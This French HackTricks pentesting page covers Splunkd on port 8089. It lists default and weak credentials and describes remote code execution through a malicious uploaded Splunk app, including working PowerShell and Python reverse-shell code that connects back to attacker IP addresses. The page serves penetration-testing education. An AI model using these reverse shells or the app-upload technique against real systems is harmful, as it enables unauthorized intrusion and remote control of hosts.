8089 - Pentesting Splunkd
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
- Outil d'analyse de logs utilisé pour la collecte, l'analyse et la visualisation des données
- Couramment utilisé dans la surveillance de la sécurité et l'analyse commerciale
- Ports par défaut :
- Serveur web : 8000
- Service Splunkd : 8089
Vecteurs de vulnérabilité :
- Exploitation de la version gratuite
- La version d'essai se convertit automatiquement en version gratuite aprĂšs 60 jours
- La version gratuite manque d'authentification
- Risque de sécurité potentiel si elle n'est pas gérée
- Les administrateurs peuvent négliger les implications de sécurité
- Faiblesses des identifiants
- Anciennes versions : Identifiants par défaut
admin:changeme
- Nouvelles versions : Identifiants définis lors de l'installation
- Potentiel d'utilisation de mots de passe faibles (par exemple,
admin
,Welcome
,Password123
)
- Opportunités d'exécution de code à distance
- Plusieurs méthodes d'exécution de code :
- Applications Django cÎté serveur
- Points de terminaison REST
- Entrées scriptées
- Scripts d'alerte
- Support multiplateforme (Windows/Linux)
- Les entrées scriptées peuvent exécuter :
- Scripts Bash
- Scripts PowerShell
- Scripts Batch
Potentiel d'exploitation clé :
- Stockage de données sensibles
- Manque d'authentification dans la version gratuite
- Multiples vecteurs pour une potentielle exécution de code à distance
- Possibilité d'exploiter des entrées scriptées pour compromettre le systÚme
Shodan
Splunk build
RCE
Créer une application personnalisée
Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale consiste à créer une application malveillante capable d'exécuter des shells inversés sur les systÚmes Windows et Linux.
Une application personnalisĂ©e peut exĂ©cuter des scripts Python, Batch, Bash ou PowerShell. De plus, Splunk est livrĂ© avec Python installĂ©, donc mĂȘme sur des systĂšmes Windows, vous pourrez exĂ©cuter du code Python.
Vous pouvez utiliser cet exemple avec le bin
contenant un exemple pour Python et PowerShell. Ou vous pourriez créer le vÎtre.
Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes :
splunk_shell/
âââ bin (reverse shell scripts)
âââ default (inputs.conf configuration)
Le fichier de configuration critique inputs.conf
active le script en :
- Définissant
disabled = 0
- Configurant un intervalle d'exécution de 10 secondes
- Définissant le type de source du script
Le déploiement est simple :
- Créer le package d'application malveillant
- Configurer un écouteur (Netcat/socat) sur la machine attaquante
- Télécharger l'application via l'interface de Splunk
- Déclencher l'exécution automatique du script lors du téléchargement
Exemple de shell inversé Windows PowerShell :
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Exemple de shell inverse Python sur Linux :
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Escalade de privilĂšges
Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut ĂȘtre abusĂ© pour escalader les privilĂšges et obtenir une persistance :
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.